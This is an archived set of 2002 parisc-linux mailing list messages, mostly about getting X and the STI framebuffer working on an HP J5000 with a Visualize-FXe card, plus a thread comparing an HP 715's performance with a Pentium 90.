Message-ID: <20020326222046.B10013@systemhalted>
References: <Pine.LNX.4.33L2.0203261716430.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621188 5329 80.91.229.3 (22 Nov 2014 01:53:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 20:19:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id E39B0482C
	for <parisc-linux@parisc-linux.org>; Tue, 26 Mar 2002 20:19:56 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g2R3Kkj10124;
	Tue, 26 Mar 2002 22:20:46 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Jeremy Drake <jeremyd@apptechsys.com>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.33L2.0203261716430.13376-100000@eiger.apptechsys.com>; from jeremyd@apptechsys.com on Tue, Mar 26, 2002 at 05:19:18PM -0800
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14436

> I've finally got a fairly stable setup - the latest 2.4.18-pa11 single
> proc.  Now I've got a USB card, and I am able to make the graphics console
> and hid keyboard working.  Now I've moved on to X.  I read somewhere, tho
> I forget where, that I have to do fbset -i to get the resolution.  This
> reports no such device.
> 
> So, I'd like a pointer to an X on J5000 setup howto and a little help
> figuring out the fb stuff.
> 
> 
> TIA
>

I believe the J5000 has a Visualize EG PCI card, and that should
be working.

fbset -i will give you all the geometry you need, but won't work
without the compiled fbdev.

You need to go into [Console Drivers] and turn on the frame-buffer
support for your system ("Generic STI Framebuffer Support").

Cheers,
Carlos.



From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on J5000
Date: Tue, 26 Mar 2002 20:54:01 -0800 (PST)
Lines: 100
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203262045310.13376-100000@eiger.apptechsys.com>
References: <1017193152.8324.6.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621188 5334 80.91.229.3 (22 Nov 2014 01:53:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:08 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 21:54:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76344482C
	for <parisc-linux@parisc-linux.org>; Tue, 26 Mar 2002 21:54:02 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP
	id AF9A87BC49; Tue, 26 Mar 2002 20:54:01 -0800 (PST)
In-Reply-To: <1017193152.8324.6.camel@beavis>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14437

Sorry, no tux.  But, due to extenuating circumstances I had to boot
serial console, so the display wasn't initted until late in the boot
process.
So, if the fb is not working, why wouldn't it be and what can I do to make
it work.
Here's the /proc/pci entry for the card

  Bus  4, device   7, function  0:
    3D controller: PCI device 103c:108b (Hewlett-Packard Company) (rev 3).
      IRQ 160.
      Master Capable.  Latency=255.
      Prefetchable 64 bit memory at 0xfb000000 [0xfbffffff].
      Non-prefetchable 64 bit memory at 0xfa000000 [0xfaffffff].

Here's from dmesg
Linux version 2.4.18-pa11 (root@krakatoa) (gcc version 3.0.4) #1 Tue Mar 26 16:24:33 PST 2002
...
STI PCI ROM enabled at 0xf7000000
PCI graphic ROM found at f7000000 (128 kB), fb @ fb000000 (16 MB)
PCI region 0: fb000000 with 16384 kB
PCI region 1: 00000000 with 0 kB
PCI region 2: fa000000 with 16384 kB
PCI region 3: 00000000 with 0 kB
PCI region 4: 00000000 with 0 kB
PCI region 5: 00000000 with 0 kB
PCI region 6: f7000000 with 128 kB
PCI region 7: 00000000 with 0 kB
PCI region 8: 00000000 with 0 kB
PCI region 9: 00000000 with 0 kB
PCI region 10: 00000000 with 0 kB
PCI region 11: 00000000 with 0 kB
Trying PCI STI ROM at f7000000, PCI hpa at fb000000
STI word mode ROM at f7000044, hpa=fb000000
STI word mode ROM, id 35acda16-9a02587, conforms to spec rev. 8.0c
STI PCI ROM disabled
STI device: HPA4982A
...
sticonsole_init: searching for STI ROMs
Console: switching to colour STI console 160x64


 On 26 Mar 2002, Ryan Bradetich wrote:

> Jeremy,
>
> When the system booted up, did you see Tux?  If you saw the Tux
> log that means the fb is setup properly and fbset -i should work.
>
> If you didn't see tux that means the fb is not working for your card.
>
> hope that helps!
>
> - Ryan
>
> On Tue, 2002-03-26 at 18:19, Jeremy Drake wrote:
> > I've finally got a fairly stable setup - the latest 2.4.18-pa11 single
> > proc.  Now I've got a USB card, and I am able to make the graphics console
> > and hid keyboard working.  Now I've moved on to X.  I read somewhere, tho
> > I forget where, that I have to do fbset -i to get the resolution.  This
> > reports no such device.
> >
> > So, I'd like a pointer to an X on J5000 setup howto and a little help
> > figuring out the fb stuff.
> >
> >
> > TIA
> >
> >
> > --
> > If you sell diamonds, you cannot expect to have many customers.
> > But a diamond is a diamond even if there are no customers.
> > 		-- Swami Prabhupada
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

-- 
	In the beginning there was data.  The data was without form and
null, and darkness was upon the face of the console; and the Spirit of
IBM was moving over the face of the market.  And DEC said, "Let there
be registers"; and there were registers.  And DEC saw that they
carried; and DEC separated the data from the instructions.  DEC called
the data Stack, and the instructions they called Code.  And there was
evening and there was morning, one interrupt.
		-- Rico Tudor, "The Story of Creation or, The Myth of Urk"




From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on J5000
Date: Tue, 26 Mar 2002 20:57:24 -0800 (PST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203262056120.13376-100000@eiger.apptechsys.com>
References: <20020326222046.B10013@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621189 5337 80.91.229.3 (22 Nov 2014 01:53:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:09 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 21:57:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id A03EC482C
	for <parisc-linux@parisc-linux.org>; Tue, 26 Mar 2002 21:57:25 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP
	id BCAB17BC49; Tue, 26 Mar 2002 20:57:24 -0800 (PST)
In-Reply-To: <20020326222046.B10013@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14438

On Tue, 26 Mar 2002, Carlos O'Donell Jr. wrote:

> I believe the J5000 has a Visualize EG PCI card, and that should
> be working.
>
> fbset -i will give you all the geometry you need, but won't work
> without the compiled fbdev.
>
> You need to go into [Console Drivers] and turn on the frame-buffer
> support for your system ("Generic STI Framebuffer Support").

It is already there

-- 
QOTD:
	"I tried buying a goat instead of a lawn tractor; had to return
	it though.  Couldn't figure out a way to connect the snow blower."




From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on J5000
Date: 26 Mar 2002 23:08:27 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <1017209307.24441.31.camel@beavis>
References: <Pine.LNX.4.33L2.0203262045310.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621189 5341 80.91.229.3 (22 Nov 2014 01:53:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 23:08:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 374DD482C
	for <parisc-linux@parisc-linux.org>; Tue, 26 Mar 2002 23:08:30 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 12910BD2F; Tue, 26 Mar 2002 23:08:27 -0700 (MST)
In-Reply-To: <Pine.LNX.4.33L2.0203262045310.13376-100000@eiger.apptechsys.com>
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14439

Jeremy,

> STI device: HPA4982A

This device does not appear to be support in the
drivers/video/sti/stifb.c.  A quick google search
didn't tell me which family this card belong to,
so I can't even give you a suggestion to try an 
add it to one of the supported groups to see if
that works.  Maybe one of the STI/fb hackers on
this list will have more info for you.

sorry :(

- Ryan





From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building cvs 2.4.18
Followup-To: gmane.linux.ports.hppa
Date: Wed, 27 Mar 2002 22:09:05 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20020327220901.A315@neep.com.au>
References: <Pine.LNX.4.33L2.0203251403190.13376-100000@eiger.apptechsys.com> <jeremyd@apptechsys.com> <20020326063217.50AB1482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621189 5345 80.91.229.3 (22 Nov 2014 01:53:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 23:09:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (ns1.au.network4.net [203.25.143.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE29B4873
	for <parisc-linux@parisc-linux.org>; Tue, 26 Mar 2002 23:09:26 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id WAA00381
	for parisc-linux@parisc-linux.org; Wed, 27 Mar 2002 22:09:09 +0800
Mail-Followup-To: parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020326063217.50AB1482C@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Mon, Mar 25, 2002 at 11:32:17PM -0700
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14440

Quoth Grant Grundler:
> If you can, ditch ipchains. If you need examples on how to
> use iptables look at ftp.p-l.o:patches/a500/firewall.

Grant, are you quite sure of that location?  I can't see a /patches/a500
directory on the server, and didn't try dumping an ls -alR to look for
it as it's not felt to be polite practise on FTP servers these days.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Lavender <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance?
Date: Wed, 27 Mar 2002 18:06:26 +1100
Lines: 61
Approved: news@gmane.org
Message-ID: <20020327180626.C28130@piglet>
References: <20020326224358.B28171@piglet> <20020326154444.D26865@parcelfarce.linux.theplanet.co.uk>
Reply-To: plaven@bigpond.net.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621190 5347 80.91.229.3 (22 Nov 2014 01:53:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:10 +0000 (UTC)
Cc: Peter Lavender <plaven@bigpond.net.au>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 00:06:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta05ps.bigpond.com (mta05ps.bigpond.com [144.135.25.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC99B482C
	for <parisc-linux@parisc-linux.org>; Wed, 27 Mar 2002 00:06:35 -0700 (MST)
Original-Received: from piglet.sspl.net.au ([144.135.25.72]) by
          mta05ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GTMEEQ00.EQ3; Wed, 27 Mar 2002 17:06:26 +1000 
Original-Received: from CPE-203-51-26-70.nsw.bigpond.net.au ([203.51.26.70]) by PSMAM02.mailsvc.email.bigpond.com(MailRouter V3.0i 74/1736594); 27 Mar 2002 17:06:26
Original-Received: (from pete@localhost)
	by piglet.sspl.net.au (8.9.3/8.9.3) id SAA03838;
	Wed, 27 Mar 2002 18:06:27 +1100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020326154444.D26865@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Mar 26, 2002 at 03:44:44PM +0000
X-Operating-System: Linux/2.2.13 (i586)
X-Uptime: 7:54am  up 19 days, 16:15,  5 users,  load average: 0.10, 0.03, 0.01
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14441

* Matthew Wilcox (willy@debian.org) wrote:


> > It wasn't until I compiled it on my p90 with 48 meg ram running a a
> > zillion services and daemons that I noticed just how slow the 715 is.
> > Running the program proved this even further.
> 
> Would you mind posting some numbers?
> 
> Also, let's try to figure out what other variables are a factor.  Can you
> compare gcc-3.0 on your x86 to the current compiler?

The p90 system is an old stock install of redhat 6.0 with very little
done to the kernel.. it was recompiled with certain drivers built into
the kernel but that's about it.

[pete@piglet brad]$ g++ --version
egcs-2.91.66

The program is fairly simple in what it does.  

I really don't want to install gcc-3.0 on this system as it really is
a stable workhorse and I'd rather not break.

But even running time is somewhat of a difference... lets see:

This is a very simple shell script that outputs date at start and
finish of the program running.. I'm no guru really.. :)

Run on HPPA 715/64

Wed Mar 27 18:02:20 EST 2002
Wed Mar 27 18:02:50 EST 2002

Run on P90

Wed Mar 27 18:00:32 EST 2002
Wed Mar 27 18:00:39 EST 2002


Just quickly you can see that it took 7 secs to do the same thing on
the p90 and 30 seconds on the hppa box.

The p90 runs alot of daemons, substantially more than the hppa box..
but this is a surprise.. I have some thoughts about the compiling, but
none what so ever about the general difference between the arches... 

I just thought it was of interest as I thought the hppa box was of
similar processing capability to the p90.


Regards,

Pete.

-- 
				Due to a lack of imagination, 
				this signature will remain 
				under construction indefinately.



From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on J5000
Date: Wed, 27 Mar 2002 02:09:16 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <3CA1701C.9000903@yahoo.com>
References: <Pine.LNX.4.33L2.0203262045310.13376-100000@eiger.apptechsys.com> <1017209307.24441.31.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621190 5352 80.91.229.3 (22 Nov 2014 01:53:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:10 +0000 (UTC)
Cc: Jeremy Drake <jeremyd@apptechsys.com>,
	parisc-linux@parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 00:09:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp015.mail.yahoo.com (smtp015.mail.yahoo.com [216.136.173.59])
	by dsl2.external.hp.com (Postfix) with SMTP id 9A47A482C
	for <parisc-linux@parisc-linux.org>; Wed, 27 Mar 2002 00:09:19 -0700 (MST)
Original-Received: from dsl-64-128-230-1.telocity.com (HELO yahoo.com) (caslivkoff@64.128.230.1 with plain)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 27 Mar 2002 07:09:17 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14442

Ryan Bradetich wrote:

>Jeremy,
>
>>STI device: HPA4982A
>>
>
>This device does not appear to be support in the
>drivers/video/sti/stifb.c.  A quick google search
>
That would be a Visualize-FXe. It is completely different than any of 
the supported devices.




_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on J5000
Date: Tue, 26 Mar 2002 23:22:01 -0800 (PST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203262318530.13376-100000@eiger.apptechsys.com>
References: <3CA1701C.9000903@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621190 5354 80.91.229.3 (22 Nov 2014 01:53:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:10 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	<parisc-linux@parisc-linux.org>
To: Chuck Slivkoff <caslivkoff@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 00:22:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82A37487C
	for <parisc-linux@parisc-linux.org>; Wed, 27 Mar 2002 00:22:02 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP
	id B34517BC49; Tue, 26 Mar 2002 23:22:01 -0800 (PST)
In-Reply-To: <3CA1701C.9000903@yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14443

On Wed, 27 Mar 2002, Chuck Slivkoff wrote:

> That would be a Visualize-FXe. It is completely different than any of
> the supported devices.

Does this mean I don't get any X?  Maybe I could be of some help testing
wise, or possibly coding if no one else is.  I have little free time, and
even less with physical access to the box, so it would be difficult.  I
have some C experience, and x86 assembly.  This HP arch is completely new
to me, however, and I have never tried kernel development.


-- 
Leona, I want to CONFESS things to you ... I want to WRAP you in a SCARLET
ROBE trimmed with POLYVINYL CHLORIDE ... I want to EMPTY your ASHTRAYS ...




From - Thu Nov 08 21:22:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance?
Date: Wed, 27 Mar 2002 07:00:55 -0500
Organization: LCN
Lines: 9
Approved: news@gmane.org
Message-ID: <3CA1B477.5090905@neuronet.pitt.edu>
References: <20020326224358.B28171@piglet> <20020326154444.D26865@parcelfarce.linux.theplanet.co.uk> <20020327180626.C28130@piglet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621191 5357 80.91.229.3 (22 Nov 2014 01:53:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 05:22:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
